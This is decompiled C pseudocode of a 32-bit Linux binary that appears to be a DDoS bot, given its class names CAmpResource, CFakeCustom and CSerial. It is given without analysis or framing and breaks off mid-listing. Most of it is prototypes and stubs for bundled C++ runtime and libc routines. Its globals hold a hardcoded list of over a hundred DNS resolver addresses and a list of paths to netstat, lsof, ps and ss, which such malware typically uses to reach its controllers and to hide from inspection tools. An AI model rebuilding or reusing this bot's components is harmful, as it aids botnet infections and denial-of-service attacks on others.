int32_t std__string___M_replace_safe(int32_t * a1, int32_t ** a2, int32_t a3, char * a4, int32_t a5, int32_t a6, int32_t a7, int32_t a8, int32_t a9, int32_t a10);
int32_t std__string__assign(int32_t ** a1, char * a2, char * a3);
int32_t std__string__operator_eq_(int32_t ** a1, char * str);
int32_t std__string___M_replace_aux(int32_t * a1, int32_t ** a2, int32_t a3, uint32_t a4, unsigned char a5, int32_t a6, int32_t * a7, int32_t a8, int32_t * a9, int32_t ** a10);
int32_t std__string__insert_649(int32_t * a1, int32_t ** a2, int32_t a3, char a4);
int32_t std__string__operator_eq__651(int32_t * a1, int32_t ** a2);
int32_t std__string___M_leak_hard(int32_t * a1);
int32_t std__string__operator_lsb__rsb__663(int32_t * a1, int32_t a2);
int32_t std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666(int32_t ** a1);
int32_t std__string__reserve(int32_t ** a1, int32_t * a2);
int32_t std__string__append(int32_t * a1, int32_t a2, char a3);
int32_t std__string__append_668(int32_t * a1, uint32_t a2, uint32_t a3);
int32_t std__string__append_669(int32_t * a1, int32_t a2);
int32_t std__string__append_671(int32_t * a1, int32_t * a2);
void std__string__operator_eq__675(void);
int32_t std__string___S_construct_lt_char_const__ptr__gt_(char * a1, char * a2, struct struct_97 * a3, int32_t a4, int32_t a5, int32_t a6, int32_t a7, int32_t a8);
int32_t std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__678(int32_t * a1, int32_t a2, int32_t a3, int32_t a4, int32_t a5, int32_t a6, int32_t a7);
int32_t std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__691(int32_t * a1, int32_t a2, int32_t a3, int32_t a4, int32_t a5, int32_t a6);
int32_t __gnu_cxx____exchange_and_add(int32_t * a1, int32_t a2);
int32_t __gnu_cxx____atomic_add(int32_t * a1, int32_t a2);
int32_t _ZdlPv(int32_t * a1);
int32_t __i686_get_pc_thunk_bx(void);
int32_t __cxa_allocate_exception(int32_t * a1, int32_t a2);
int32_t __i686_get_pc_thunk_cx(void);
int32_t __cxa_begin_catch(int32_t a1, int32_t a2, int32_t a3, int32_t a4, int32_t a5, int32_t a6);
int32_t __cxa_end_catch(int32_t a1, int32_t a2, int32_t a3, int32_t a4, int32_t a5, int32_t * a6, int32_t a7, int32_t a8, int32_t a9, int32_t a10);
int32_t __cxa_get_globals_fast(void);
int32_t get_globals_init_once(int32_t a1, int32_t a2, int32_t a3);
int32_t __cxa_get_globals(int32_t a1, int32_t a2, int32_t a3, int32_t a4, int32_t a5);
int32_t base_of_encoded_value(int32_t * a1, int32_t * a2, int32_t a3, int32_t a4, int32_t a5, int32_t a6);
int32_t read_uleb128(int32_t * a1);
int32_t read_encoded_value_with_base(int32_t * a1, int32_t * a2, int32_t * a3, int32_t a4);
int32_t parse_lsda_header(int32_t a1, int32_t a2, int32_t a3, int32_t a4, int32_t a5, int32_t a6, int32_t a7);
int32_t get_ttype_entry(int32_t a1, int32_t a2, int32_t a3, int32_t a4, int32_t a5, int32_t a6);
int32_t get_adjusted_ptr(struct struct_103 * a1, int32_t a2);
int32_t check_exception_spec(int32_t a1, int32_t a2, int32_t a3, int32_t a4, int32_t a5, int32_t a6, int32_t a7, int32_t a8);
int32_t __cxa_call_unexpected(int32_t * a1, int32_t a2, int32_t a3);
int32_t _ZN10__cxxabiv111__terminateEPFvvE(int32_t * a1, int32_t a2, int32_t a3);
int32_t std__terminate(int32_t a1);
int32_t _ZN10__cxxabiv112__unexpectedEPFvvE(int32_t a1, int32_t a2);
int32_t __cxa_throw(int32_t a1, int32_t a2, int32_t a3, int32_t a4, int32_t a5);
int32_t __cxa_rethrow(int32_t a1, int32_t a2, int32_t a3);
int32_t __cxxabiv1__acquire_1(int32_t a1, int32_t a2, int32_t a3, int32_t a4, int32_t a5, int32_t * a6);
int32_t _GLOBAL__N_____________libstdc___v3_libsupc___guard_cc_00000000_2A9B2FC0__static_mutex__lock(void);
int32_t _GLOBAL__N_____________libstdc___v3_libsupc___guard_cc_00000000_2A9B2FC0__static_mutex__unlock(void);
int32_t __cxa_guard_acquire(char * a1, int32_t a2, int32_t a3, int32_t a4, int32_t a5, int32_t a6, int32_t a7, int32_t a8, int32_t a9);
int32_t __cxa_guard_release(struct struct_59 * a1);
void std__bad_alloc_702(void);
int32_t _Znwj(int32_t a1, int32_t a2, int32_t a3);
int32_t __udivdi3(uint32_t a1, uint32_t a2, uint32_t a3, uint32_t a4, int32_t a5, int32_t a6, int32_t a7, int32_t a8, int32_t a9, int32_t a10, int32_t a11, int32_t a12, int32_t a13, int32_t a14, int32_t a15, int32_t a16);
int32_t __umoddi3(uint32_t result2, uint32_t a2, uint32_t a3, uint32_t a4, int32_t a5, int32_t a6, int32_t a7, int32_t a8, int32_t a9, int32_t a10, int32_t a11, int32_t a12, int32_t a13);
int32_t _Unwind_GetTextRelBase(int32_t * a1);
int32_t _Unwind_GetDataRelBase(int32_t * a1);
int32_t _Unwind_GetRegionStart(int32_t * a1);
void base_of_encoded_value_717(int32_t a1, int32_t a2);
int32_t function_80a581e(int32_t a1, int32_t a2);
int32_t read_uleb128_718(int32_t a1);
int32_t read_sleb128_719(int32_t a1);
int32_t read_encoded_value_with_base_720(int32_t a1, int32_t a2, int32_t a3);
int32_t function_80a5932(int32_t a1, int32_t * a2, int32_t a3, int32_t a4, int32_t a5, int32_t a6);
int32_t _Unwind_DeleteException(int32_t a1);
int32_t execute_cfa_program(int32_t * a1, int32_t * a2, int32_t a3);
int32_t function_80a5b62(struct struct_103 * a1);
int32_t uw_frame_state_for(int32_t * a1, int32_t * a2);
int32_t function_80a5ffa(struct struct_103 * a1, struct struct_103 * a2);
int32_t uw_install_context_1(int32_t * a1, int32_t * a2);
int32_t function_80a6542(void);
int32_t execute_stack_op(int32_t * a1, int32_t * a2, int32_t a3);
int32_t function_80a6625(int32_t a1, int32_t result, int32_t a3, int32_t a4, int32_t a5);
int32_t uw_update_context_1(int32_t a1, int32_t a2, int32_t a3);
int32_t function_80a6c82(struct struct_103 * a1, struct struct_103 * a2);
int32_t uw_init_context_1(int32_t * a1);
int32_t function_80a6de5(int32_t * a1, int32_t a2);
void uw_update_context(int32_t * a1, int32_t * a2);
int32_t function_80a6f2a(int32_t a1, int32_t a2, int32_t a3, int32_t a4, int32_t a5);
int32_t _Unwind_Backtrace(int32_t a1, int32_t a2);
int32_t _Unwind_ForcedUnwind_Phase2(int32_t * a1, int32_t * a2);
int32_t _Unwind_ForcedUnwind(int32_t a1);
int32_t function_80a70f3(int32_t a1, int32_t a2, int32_t a3, int32_t a4, int32_t a5, int32_t a6);
void _Unwind_RaiseException_Phase2(int32_t * a1, int32_t * a2);
int32_t function_80a71a1(int32_t a1);
int32_t _Unwind_Resume(int32_t * a1, int32_t * a2, int32_t * a3);
int32_t function_80a7247(int32_t a1, int32_t a2, int32_t a3);
int32_t _Unwind_RaiseException(int32_t * a1, int32_t * a2, int32_t a3, int32_t * a4);
int32_t function_80a72fb(int32_t * a1, struct struct_115 * a2, int32_t a3);
int32_t _Unwind_Resume_or_Rethrow(int32_t a1, int32_t a2, int32_t a3, int32_t a4, int32_t a5);
int32_t function_80a744b(int32_t * a1, int32_t * a2, int32_t a3, int32_t a4);
void size_of_encoded_value(int32_t * a1);
int32_t function_80a74fe(int32_t a1, int32_t a2, int32_t a3, int32_t a4, int32_t a5, int32_t a6, int32_t a7, int32_t a8, int32_t a9, int32_t a10);
int32_t read_uleb128_721(int32_t a1);
int32_t read_sleb128_722(int32_t a1);
int32_t read_encoded_value_with_base_723(int32_t a1, int32_t a2, int32_t a3);
int32_t function_80a75fa(int32_t a1, int32_t * a2, int32_t a3, int32_t a4, int32_t a5, int32_t a6);
void base_from_object(struct struct_45 * a1);
int32_t function_80a76b2(int32_t a1, int32_t a2, int32_t a3, int32_t * a4, int32_t a5, int32_t a6, int32_t a7, int32_t a8);
int32_t get_cie_encoding(struct struct_45 * a1);
int32_t frame_downheap(int32_t result3, int32_t a2, int32_t a3, int32_t a4, int32_t a5);
int32_t frame_heapsort(int32_t a1, int32_t a2, int32_t a3);
int32_t classify_object_over_fdes(int32_t a1, int32_t a2);
int32_t linear_search_fdes(int32_t a1, int32_t a2, int32_t a3);
int32_t add_fdes(int32_t a1, int32_t a2, int32_t a3);
void search_object(struct struct_45 * a1, int32_t a2, int32_t * a3);
int32_t function_80a8625(int32_t a1);
void _Unwind_Find_FDE(int32_t a1);
int32_t function_80a8d76(struct struct_45 * a1, int32_t a2, struct struct_120 * a3);
int32_t __libc_siglongjmp(int32_t a1, int32_t a2, int32_t a3, int32_t a4);
int32_t _longjmp_unwind(void);
int32_t __correctly_grouped_prefixmb(uint32_t result3, int32_t result, int32_t a3, int32_t a4, int32_t a5, int32_t a6, int32_t a7, int32_t a8);
int32_t _IO_printf(char * format, char * a2);
void _IO_sprintf(int32_t a1, int32_t a2, int32_t a3);
void _IO_sscanf(int32_t a1, int32_t a2);
int32_t __new_fclose(int32_t * a1);
int32_t _IO_fgets(int32_t a1, int32_t result, int32_t * a3, int32_t a4);
int32_t __fopen_internal(int32_t a1, int32_t a2, int32_t * a3);
void __new_fopen(int32_t a1, int32_t a2);
int32_t _IO_proc_open(int32_t * a1, int32_t a2, int32_t * a3);
int32_t _IO_popen(int32_t a1, int32_t * a2, int32_t a3);
int32_t _IO_vsprintf(int32_t * a1, char * format, char * a3);
int32_t _IO_vsscanf(int32_t a1, int32_t a2, int32_t a3);
int32_t _IO_wdo_write(struct struct_121 * a1, int32_t * a2, int32_t * a3);
int32_t __new_pclose(void);
int32_t __libc_message(int32_t * a1, struct struct_59 * a2);
int32_t _IO_file_init(struct struct_123 * a1);
int32_t _IO_file_open(struct struct_124 * a1, char * path, int32_t * a3, struct struct_124 * a4, char * a5, int32_t * a6);
int32_t _IO_file_close_it(struct struct_125 * a1);
int32_t _IO_file_fopen(int32_t * a1, int32_t * a2, struct struct_127 * a3, struct struct_125 * a4, int32_t a5);
int32_t _IO_do_write(int32_t * a1, int32_t * a2, int32_t * a3);
int32_t _IO_un_link(char * a1, int32_t a2);
int32_t _IO_link_in(int32_t * a1, int32_t a2);
int32_t _IO_setb(struct struct_128 * a1, int32_t * a2, int32_t * a3, struct struct_128 * a4, int32_t * a5);
int32_t _IO_adjust_column(int32_t a1, uint32_t a2, int32_t a3, int32_t a4);
int32_t _IO_no_init(struct struct_131 * a1, int32_t a2, int32_t a3, struct struct_130 * a4, struct struct_120 * a5);
int32_t _IO_init(struct struct_133 * a1, int32_t a2);
int32_t _IO_unsave_markers(struct struct_134 * a1);
int32_t _IO_str_init_static_internal(int32_t * a1, int32_t * a2, int32_t a3, int32_t result);
int32_t new_heap(int32_t a1, int32_t * a2);
int32_t sYSTRIm(int32_t a1, int32_t * a2, char * a3);
int32_t malloc_consolidate(int32_t a1, int32_t * a2);
int32_t _int_free(char * a1, int32_t * a2);
int32_t _int_malloc(char * a1, int32_t * a2, int32_t a3);
int32_t __libc_calloc(struct struct_120 * a1, int32_t a2, int32_t a3, int32_t a4, int32_t a5);
int32_t __libc_malloc(int32_t * a1, int32_t a2, int32_t a3);
int32_t ptmalloc_init(void);
int32_t malloc_hook_ini(int32_t a1);
int32_t * __default_morecore(int32_t * increment);
int32_t rawmemchr(struct struct_138 * a1, int32_t a2);
int32_t __wcsmbs_named_conv(int32_t a1, int32_t a2);
int32_t vsyslog(int32_t a1, int32_t a2, int32_t a3, int32_t a4);
int32_t __libc_enable_asynccancel(int32_t a1, int32_t a2);
int32_t __libc_disable_asynccancel(int32_t a1, int32_t a2);
int32_t __register_atfork(void);
void backtrace_helper(void);
int32_t __backtrace(int32_t * a1, uint32_t a2);
int32_t backtrace_symbols_fd(int32_t ** a1, int32_t result, int32_t a3, int32_t a4);
int32_t __dl_iterate_phdr(int32_t a1, struct struct_3 * a2);
int32_t dl_iterate_phdr(int32_t a1, struct struct_3 * a2);
int32_t _dl_addr(int32_t ** a1, int32_t a2);
int32_t __gconv_find_transform(int32_t a1, int32_t a2, int32_t a3);
int32_t __gconv_close_transform(int32_t a1, int32_t a2, int32_t a3, int32_t a4);
void __gconv_read_conf(void);
int32_t _itoa_word(int32_t a1, int32_t a2, int32_t a3, int32_t a4, int32_t a5);
int32_t _IO_wsetb(struct struct_141 * a1, int32_t * a2, int32_t * a3, int32_t result);
int32_t _IO_free_wbackup_area(struct struct_143 * a1, int32_t a2);
int32_t __atomic_writev_replacement(int32_t a1, int32_t a2, int32_t a3);
int32_t __writev(int32_t a1, int32_t a2, int32_t a3, int32_t a4, int32_t * a5, int32_t a6);
int32_t __libc_alloca_cutoff(uint32_t a1, int32_t a2, int32_t a3);
/* ---------- Global Variables ---------- */
bool g1 = false; // cf0
struct struct_18 * g2; // glob_var_0
int32_t g3 = 0; // 0x8131674
int32_t g4 = 1; // 0x8131678
int32_t g5 = 0; // 0x81316f8
int32_t g6 = 0x1000; // 0x813172c
int32_t g7 = 1; // 0x8131730
int32_t g8 = 0x61a8; // 0x8131734
int32_t g9 = 1; // 0x8131738
int32_t g10 = -1; // 0x8131740
int32_t g11 = -1; // 0x8131744
int32_t g12 = -1; // 0x8131748
char * g13[113] = {
"61.132.163.68",
"202.102.192.68",
"202.102.213.68",
"202.102.200.101",
"58.242.2.2",
"202.38.64.1",
"211.91.88.129",
"211.138.180.2",
"218.104.78.2",
"202.102.199.68",
"202.175.3.3",
"202.175.3.8",
"202.112.144.30",
"61.233.9.9",
"61.233.9.61",
"124.207.160.110",
"202.97.7.6",
"202.97.7.17",
"202.106.0.20",
"202.106.46.151",
"202.106.195.68",
"202.106.196.115",
"202.106.196.212",
"202.106.196.228",
"202.106.196.230",
"202.106.196.232",
"202.106.196.237",
"202.112.112.10",
"211.136.17.107",
"211.136.28.231",
"211.136.28.234",
"211.136.28.237",
"211.147.6.3",
"219.141.136.10",
"219.141.140.10",
"219.141.148.37",
"219.141.148.39",
"219.239.26.42",
"221.130.32.100",
"221.130.32.103",
"221.130.32.106",
"221.130.32.109",
"221.130.33.52",
"221.130.33.60",
"221.176.3.70",
"221.176.3.73",
"221.176.3.76",
"221.176.3.79",
"221.176.3.83",
"221.176.3.85",
"221.176.4.6",
"221.176.4.9",
"221.176.4.12",
"221.176.4.15",
"221.176.4.18",
"221.176.4.21",
"58.22.96.66",
"218.104.128.106",
"202.101.98.55",
"211.138.145.194",
"211.138.151.161",
"211.138.156.66",
"218.85.152.99",
"218.85.157.99",
"222.47.29.93",
"202.101.107.85",
"119.233.255.228",
"222.47.62.142",
"122.72.33.240",
"211.98.121.27",
"218.203.160.194",
"221.7.34.10",
"61.235.70.98",
"113.111.211.22",
"202.96.128.68",
"202.96.128.86",
"202.96.128.166",
"210.21.3.140",
"210.21.4.130",
"211.95.193.97",
"211.98.2.4",
"211.98.4.1",
"211.162.61.225",
"211.162.61.235",
"211.162.61.255",
"211.162.62.1",
"211.162.62.60",
"221.4.66.66",
"202.103.176.22",
"202.96.144.47",
"210.38.192.33",
"202.96.134.33",
"202.96.134.133",
"202.96.154.15",
"210.21.196.6",
"221.5.88.88",
"202.103.243.112",
"202.193.64.33",
"61.235.164.13",
"61.235.164.18",
"202.103.225.68",
"221.7.136.68",
"202.103.224.68",
"211.97.64.129",
"211.138.240.100",
"211.138.242.18",
"211.138.245.180",
"221.7.128.68",
"222.52.118.162",
"202.98.192.67",
"202.98.198.167",
"211.92.136.81",
"211.139.1.3"
}; // 0x8131760
int32_t g14 = 12; // 0x8131ca0
char * g15[12] = {
"/bin/netstat",
"/bin/lsof",
"/bin/ps",
"/bin/ss",
"/usr/bin/netstat",
"/usr/bin/lsof",
"/usr/bin/ps",
"/usr/bin/ss",
"/usr/sbin/netstat",
"/usr/sbin/lsof",
"/usr/sbin/ps",
"/usr/sbin/ss"
}; // 0x8131cc0
int32_t g16 = 5; // 0x8131d44
int32_t g17 = 10; // 0x8131d48
int32_t g18 = -0x452df7c; // 0x81321e0
int32_t g19 = -1; // 0x81324a8
int32_t g20 = 0x80b7200; // 0x81324b4
int32_t g21 = 3; // 0x81324bc
int32_t g22 = 0x8119573; // 0x813254c
int32_t g23 = 0; // 0x8132558
int32_t g24 = 0x8116860; // 0x8132994
int32_t g25 = 0x8115f60; // 0x813299c
int32_t g26 = 0; // 0x8132bfc
char g27 = 0; // 0x8132c08
int32_t g28 = 0; // 0x8132c20
int32_t g29 = 0; // 0x8132c24
int32_t g30 = 0; // 0x8132c28
int32_t g31 = 0; // 0x8132c2c
int32_t g32 = 0; // 0x8132c30
int32_t g33 = 0; // 0x8132c34
char g34 = 0; // 0x8132c38
int32_t g35 = 0; // 0x8132c3c
char g36 = 0; // 0x8132c40
int32_t g37 = 0; // 0x8132c44
int32_t g38 = 0; // 0x8132c48
int32_t g39 = 0; // 0x8132c4c
int32_t g40 = 0; // 0x8132c50
char g41 = 0; // 0x8132c58
int32_t g42 = 0; // 0x8132c60
int32_t g43 = 0; // 0x8132ca0
int32_t g44 = 0; // 0x8132d20
int32_t g45 = 0; // 0x8132d64
int32_t g46 = 0; // 0x8132d68
int32_t g47 = 0; // 0x8132d6c
int32_t g48 = 0; // 0x8132d70
int32_t g49 = 0; // 0x8132d74
int32_t g50 = 0; // 0x8132d78
int32_t g51 = 0; // 0x8132d7c
char g52 = 0; // 0x8132d80
int32_t g53 = 0; // 0x8132d88
int32_t g54 = 0; // 0x8132d8c
int32_t g55 = 0; // 0x8132d90
int16_t g56 = 0; // 0x8132d94
int32_t g57 = 0; // 0x8132d98
int32_t g58 = 0; // 0x8132da0
int32_t g59 = 0; // 0x8132da4
int32_t g60 = 0; // 0x8132da8
int32_t g61 = 0; // 0x8132dac
int32_t g62 = 0; // 0x8132dc0
int32_t g63 = 0; // 0x8134ec0
int32_t g64 = 0; // 0x8134ec4
int32_t g65 = 0; // 0x8139bc0
int32_t g66 = 0; // 0x8139bd4
int32_t g67 = 0; // 0x8139be4
int32_t g68 = 0; // 0x8139be8
int32_t g69 = 0; // 0x8139bec
int32_t g70 = 0; // 0x8139c00
int32_t g71 = 0; // 0x8139c04
int32_t g72 = 0; // 0x8139c08
int32_t g73 = 0; // 0x8139c0c
int32_t g74 = 0; // 0x8139c10
int32_t g75 = 0; // 0x8139c14
int32_t g76 = 0; // 0x8139c18
int32_t g77 = 0; // 0x8139c1c
int32_t g78 = 0; // 0x8139c20
int32_t g79 = 0; // 0x8139c28
int32_t g80 = 0; // 0x8139c40
int32_t g81 = 0; // 0x8139c44
int32_t g82 = 0; // 0x8139c70
int32_t g83 = 0; // 0x813a088
int32_t g84 = 0; // 0x813a08c
int32_t g85 = 0; // 0x813a0c0
int32_t g86 = 0; // 0x813a8a4
int32_t g87 = 0; // 0x813ad78
int32_t g88 = 0; // 0x813ad7c
int32_t g89 = 0; // 0x813ad90
int32_t g90 = 0; // 0x813adac
int32_t g91 = 0; // 0x813ade0
int32_t g92 = 0; // 0x813ade4
int32_t g93 = 0; // 0x813ae14
int32_t g94 = 0; // 0x813ae1c
int32_t g95 = 0; // gpr0
int32_t g96 = 0; // gpr1
int32_t g97 = 0; // gpr2
int32_t g98 = 0; // gpr3
int32_t g99 = 0; // gpr4
int32_t g100 = 0; // gpr5
int32_t g101 = 0; // gpr6
int32_t g102 = 0; // gpr7
bool g103 = false; // zf0
/* ------------- Functions -------------- */
// Address range: 0x8048238 - 0x804826f
int32_t CAmpResource__Clear(struct struct_0 * a1) {
// 0x8048238
a1->e0 = 0;
int32_t result; // 0x8048266
if (a1->e1 != NULL) {
// 0x8048251
free(a1->e1);
result = (int32_t)a1;
*(int32_t *)(result + 4) = 0;
// branch -> 0x804826d
} else {
result = 0;
}
// 0x804826d
return result;
}
// Address range: 0x804829c - 0x804837f
int32_t CAmpResource___InitReadResource(struct struct_1 * a1, struct struct_1 * a2) {
if (CFileOp__ReadFile((int32_t **)g2, (int32_t)a2, (char *)a1, 4) != 4) {
// 0x8048377
return 0;
}
int32_t v1 = 4 * a1->e0; // 0x80482d9
g95 = v1;
int32_t v2 = v1;
__libc_malloc(&v2, (int32_t)a2, (int32_t)a1);
a1->e1[0] = g95;
int32_t * v3 = (int32_t *)((int32_t)a1 + 4); // 0x80482f3_0
int32_t result; // 0x80483771
if (*v3 != 0) {
int32_t v4 = *v3; // 0x8048312
memset((int32_t *)v4, v4 & -256, 4 * a1->e0);
if (a1->e0 > 0) {
int32_t v5 = 0;
while (true) {
// 0x8048327
int32_t v6;
int32_t v7 = CFileOp__ReadFile((int32_t **)g2, (int32_t)a2, (char *)&v6, 4); // 0x8048334
if (v7 == 4) {
// 0x804834e
a1->e1[v5] = v6;
int32_t v8 = v5 + 1; // 0x8048364
if (a1->e0 <= v8) {
result = 1;
// break -> 0x8048377
break;
}
v5 = v8;
// continue -> 0x8048327
continue;
} else {
result = 0;
}
}
// 0x8048377
return result;
}
result = 1;
} else {
result = 0;
}
// 0x8048377
return result;
}
// Address range: 0x8048380 - 0x80483ff
int32_t CAmpResource__InitReadResource(struct struct_1 * a1, struct struct_1 * a2) {
int32_t v1 = (int32_t)g2; // 0x8048398
struct struct_1 * v2 = (struct struct_1 *)CFileOp__OpenFile((int32_t **)g2, (char *)a2, v1, v1); // 0x8048398_10
if (v2 < (struct struct_1 *)1) {
// 0x80483fa
return 0;
}
uint32_t v3 = CAmpResource___InitReadResource(a1, v2); // 0x80483c2
if (v3 != 1) {
// 0x80483d7
CAmpResource__Clear((struct struct_0 *)a1);
// branch -> 0x80483e5
}
// 0x80483e5
CFileOp__CloseFile((int32_t)v2);
int32_t result = v3 % 256; // 0x80483f3
g95 = result;
// branch -> 0x80483fa
// 0x80483fa
return result;
}
// Address range: 0x804849c - 0x80484ad
int32_t __gthread_active_p(void) {
// 0x804849c
g95 = 0x8092b01;
return 1;
}
// Address range: 0x80484ae - 0x80484e9
void _Z14__gthread_oncePiPFvvE(int32_t a1) {
// 0x80484ae
__gthread_active_p();
pthread_once((int32_t *)g95, (void (*)(int32_t *))g97);
}
// Address range: 0x804a8fe - 0x804a931
int32_t std__fill(int32_t * a1, int32_t * a2, char * a3) {
int32_t result = (int32_t)*a3; // 0x804a907
memset(a1, result, (int32_t)a2 - (int32_t)a1);
return result;
}
// Address range: 0x804a932 - 0x804a939
int32_t _ZnwjPv(int32_t * a1) {
// 0x804a932
int32_t result;
return result;
}
// Address range: 0x804a99e - 0x804a9c9
int32_t __gnu_cxx____pool_base___M_check_threshold(int32_t * a1, int32_t * a2) {
int32_t v1 = (int32_t)a1; // 0x804a9a4
uint32_t v2 = *(int32_t *)(v1 + 4); // 0x804a9a7
g95 = v2;
int32_t result;
if (v2 >= (int32_t)a2) {
int32_t v3 = (int32_t)*(char *)(v1 + 24) | v1 & -256; // 0x804a9b2
g95 = v3;
result = v3 != 0;
// branch -> 0x804a9c3
} else {
result = 1;
}
// 0x804a9c3
return result;
}
// Address range: 0x804a9ca - 0x804a9e3
int32_t __gnu_cxx____pool_base___M_get_binmap(int32_t * a1, int32_t * a2) {
int32_t v1 = *(int32_t *)((int32_t)a1 + 28); // 0x804a9d0
return (int32_t)*(int16_t *)(v1 + 2 * (int32_t)a2);
}
// Address range: 0x804a9e4 - 0x804a9ed
int32_t __gnu_cxx____pool_base___M_get_align(int32_t * a1) {
// 0x804a9e4
return *a1;
}
// Address range: 0x804aa16 - 0x804aa61
int32_t _ZN9__gnu_cxx6__poolILb1EE18_M_initialize_onceEPFvvE(int32_t a1, int32_t a2) {
char * v1 = (char *)(a1 + 32); // 0x804aa1f_0
char v2 = *v1; // 0x804aa1f
int32_t result = v2 == 0; // 0x804aa27
g95 = result;
if (v2 == 0 == false) {
// 0x804aa5f
return result;
}
// 0x804aa31
__gthread_active_p();
g95 = a1 + 44;
g97 = a2;
int32_t v3;
_Z14__gthread_oncePiPFvvE(v3);
int32_t v4 = (int32_t)*v1 | a1 & -256; // 0x804aa50
g95 = v4;
int32_t result2 = v4 ^ 1; // 0x804aa53
g1 = false;
g103 = 0x1000000 * result2 == 0;
if (v4 != 1) {
// 0x804aa5a
g95 = a2;
((int32_t (*)())a2)();
// branch -> 0x804aa5f
}
// 0x804aa5f
return result2;
}
// Address range: 0x804aa62 - 0x804aa7d
int32_t __gnu_cxx____pool_lt_true_gt____M_get_bin(int32_t * a1, int32_t * a2) {
int32_t v1 = *(int32_t *)((int32_t)a1 + 36); // 0x804aa68
g96 = v1;
return v1 + 20 * (int32_t)a2;
}
// Address range: 0x804aa7e - 0x804aabf
int32_t __gnu_cxx____pool_lt_true_gt____M_adjust_freelist(int32_t * a1, int32_t * a2, int32_t * a3) {
// 0x804aa7e
__gthread_active_p();
int32_t v1;
*a3 = v1;
int32_t v2 = (int32_t)a2; // 0x804aa97
int32_t v3 = 4 * v1; // 0x804aaa0
int32_t * v4 = (int32_t *)(*(int32_t *)(v2 + 8) + v3); // 0x804aaa5_0
*v4 = *v4 - 1;
int32_t * v5 = (int32_t *)(*(int32_t *)(v2 + 12) + v3); // 0x804aab8_0
int32_t result = *v5 + 1; // 0x804aaba
*v5 = result;
return result;
}
// Address range: 0x804ab06 - 0x804ab2f
int32_t CSerial(int32_t * a1) {
// 0x804ab06
*a1 = 0x80ff2d0;
return 0;
}
// Address range: 0x804abbc - 0x804abc1
void CFakeCustom(void) {
// 0x804abbc
return;
}
// Address range: 0x804ad16 - 0x804ad1b
void __gnu_cxx____mt_alloc_lt_CFakeCustom_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt_(void) {
// 0x804ad16
return;
}
// Address range: 0x804ad1c - 0x804ad33
int32_t std__allocator_lt_CFakeCustom_gt_(int32_t * a1) {
// 0x804ad1c
__gnu_cxx____mt_alloc_lt_CFakeCustom_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt_();
return (int32_t)a1;
}
// Address range: 0x804ad34 - 0x804ad4b
int32_t std__allocator_lt_CFakeCustom_gt__9(int32_t result) {
// 0x804ad34
__gnu_cxx____mt_alloc_lt_CFakeCustom_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt_();
return result;
}
// Address range: 0x804ad4c - 0x804ad69
int32_t std___Vector_base_lt_char_comma__std__allocator_lt_char_gt___gt___get_allocator(int32_t result, int32_t * a2) {
// 0x804ad4c
std__allocator_lt_char_gt__599(result);
return result;
}
// Address range: 0x804ae44 - 0x804ae4d
int32_t __gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___operator_ptr_(int32_t * a1) {
// 0x804ae44
g95 = (int32_t)a1;
return *a1;
}
// Address range: 0x804ae4e - 0x804ae53
void __gnu_cxx____mt_alloc_lt_std__string_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt_(void) {
// 0x804ae4e
return;
}
// Address range: 0x804ae54 - 0x804ae6b
int32_t std__allocator_lt_std__string_gt_(int32_t * a1) {
// 0x804ae54
__gnu_cxx____mt_alloc_lt_std__string_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt_();
return (int32_t)a1;
}
// Address range: 0x804ae6c - 0x804ae83
int32_t std__allocator_lt_std__string_gt__14(int32_t result) {
// 0x804ae6c
__gnu_cxx____mt_alloc_lt_std__string_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt_();
return result;
}
// Address range: 0x804ae84 - 0x804ae8d
int32_t __gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt___operator_ptr_(int32_t * a1) {
// 0x804ae84
return *a1;
}
// Address range: 0x804ae8e - 0x804ae97
int32_t __gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___operator_ptr_(int32_t * a1) {
// 0x804ae8e
return *a1;
}
// Address range: 0x804b0e6 - 0x804b0eb
void __gnu_cxx____mt_alloc_base_lt_CFakeCustom_gt_(void) {
// 0x804b0e6
return;
}
// Address range: 0x804b104 - 0x804b119
void __gnu_cxx____mt_alloc_base_lt_CFakeCustom_gt___destroy(int32_t * a1) {
// 0x804b104
CFakeCustom();
}
// Address range: 0x804b142 - 0x804b151
int32_t __gnu_cxx____normal_iterator_lt_CFakeCustom_const__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt_(int32_t * a1, int32_t * a2) {
// 0x804b142
*a1 = *a2;
return (int32_t)a1;
}
// Address range: 0x804b152 - 0x804b17b
int32_t std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___end(int32_t * a1, int32_t * a2) {
int32_t v1 = *(int32_t *)((int32_t)a2 + 4); // 0x804b15f
__gnu_cxx____normal_iterator_lt_CFakeCustom_const__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt_(a1, (int32_t *)v1);
return (int32_t)a1;
}
// Address range: 0x804b17e - 0x804b1a9
int32_t std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___begin(int32_t * a1, int32_t ** a2) {
int32_t v1 = *(int32_t *)a2; // 0x804b18b
__gnu_cxx____normal_iterator_lt_CFakeCustom_const__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt_(a1, (int32_t *)v1);
return (int32_t)a1;
}
// Address range: 0x804b1aa - 0x804b1b1
